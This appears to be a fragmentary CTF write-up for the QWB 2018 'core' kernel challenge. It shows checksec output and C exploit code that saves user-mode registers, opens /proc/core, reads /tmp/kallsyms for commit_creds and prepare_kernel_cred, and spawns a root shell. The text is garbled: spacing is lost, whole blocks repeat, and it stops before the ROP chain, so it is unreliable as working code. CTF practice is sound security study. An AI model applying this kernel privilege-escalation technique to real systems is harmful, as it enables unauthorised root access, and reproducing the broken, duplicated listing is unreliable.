❯ checksec --file=core.ko [*] '/mnt/d/Bronya/Brownie/CTF/practice/0ops内训/kernel/qwb_2018_core/core/rootfs/core.ko' Arch: amd64-64-little RELRO: No RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x0) Stripped: No
// enter kernel func: save status size_t user_cs, user_ss, user_rflags, user_sp; voidsave_status() { asmvolatile( "mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp, rsp;" "pushf;" "pop user_rflags;" ); puts("\033[34m\033[1m[*] Status has been saved.\033[0m"); }
voidget_root_shell(void) { if(getuid()) { log_error("[x] Failed to get the root!"); sleep(5); exit(EXIT_FAILURE); } log_success("[+] Successful to get the root."); log_info("[*] Execve root shell now...");
system("/bin/sh");
// to exit normally, instead of potential segmentation fault exit(EXIT_SUCCESS); }
voidexploition(void) { FILE *ksyms_file; // open device int fd; char buf[0x1000], type[0x10]; size_t addr; size_t canary; size_t rop_chain[0x100], i; log_info("[*] Start to exploit..."); save_status();
fd = open("/proc/core", O_RDWR); if (fd < 0) { log_error("[x] open device error!"); exit(EXIT_FAILURE); }
// get addresses of kernel symbols log_info("[*] Reading /tmp/kallsyms..."); ksyms_file = fopen("/tmp/kallsyms", "r"); if (ksyms_file == NULL) { log_error("[x] Failed to open the sym_table file!"); exit(EXIT_FAILURE); }
while(fscanf(ksyms_file, "%lx%s%s", &addr, type, buf)) { if (prepare_kernel_cred && commit_creds) { break; } if (!commit_creds && !strcmp(buf, "commit_creds")) { commit_creds = addr; printf( SUCCESS_MSG("[+] Successful to get the addr of commit_creds: ") "%lx\n", commit_creds); continue; }
if (!strcmp(buf, "prepare_kernel_cred")) { prepare_kernel_cred = addr; printf(SUCCESS_MSG( "[+] Successful to get the addr of prepare_kernel_cred") "%lx\n", prepare_kernel_cred); continue; } }
// enter kernel func: save status size_t user_cs, user_ss, user_rflags, user_sp; voidsave_status() { asmvolatile( "mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp, rsp;" "pushf;" "pop user_rflags;" ); puts("\033[34m\033[1m[*] Status has been saved.\033[0m"); }
voidget_root_shell(void) { if(getuid()) { log_error("[x] Failed to get the root!"); sleep(5); exit(EXIT_FAILURE); } log_success("[+] Successful to get the root."); log_info("[*] Execve root shell now...");
system("/bin/sh");
// to exit normally, instead of potential segmentation fault exit(EXIT_SUCCESS); }
void *(*prepare_kernel_cred_kfunc)(void *task_struct); int (*commit_creds_kfunc)(void *cred);
voidexploition(void) { FILE *ksyms_file; // open device int fd; char buf[0x1000], type[0x10]; size_t addr; size_t canary; size_t rop_chain[0x100], i; log_info("[*] Start to exploit..."); save_status();
fd = open("/proc/core", O_RDWR); if (fd < 0) { log_error("[x] open device error!"); exit(EXIT_FAILURE); }
// get addresses of kernel symbols log_info("[*] Reading /tmp/kallsyms..."); ksyms_file = fopen("/tmp/kallsyms", "r"); if (ksyms_file == NULL) { log_error("[x] Failed to open the sym_table file!"); exit(EXIT_FAILURE); }
while(fscanf(ksyms_file, "%lx%s%s", &addr, type, buf)) { if (prepare_kernel_cred && commit_creds) { break; } if (!commit_creds && !strcmp(buf, "commit_creds")) { commit_creds = addr; printf( SUCCESS_MSG("[+] Successful to get the addr of commit_creds: ") "%lx\n", commit_creds); continue; }
if (!strcmp(buf, "prepare_kernel_cred")) { prepare_kernel_cred = addr; printf(SUCCESS_MSG( "[+] Successful to get the addr of prepare_kernel_cred: ") "%lx\n", prepare_kernel_cred); continue; } }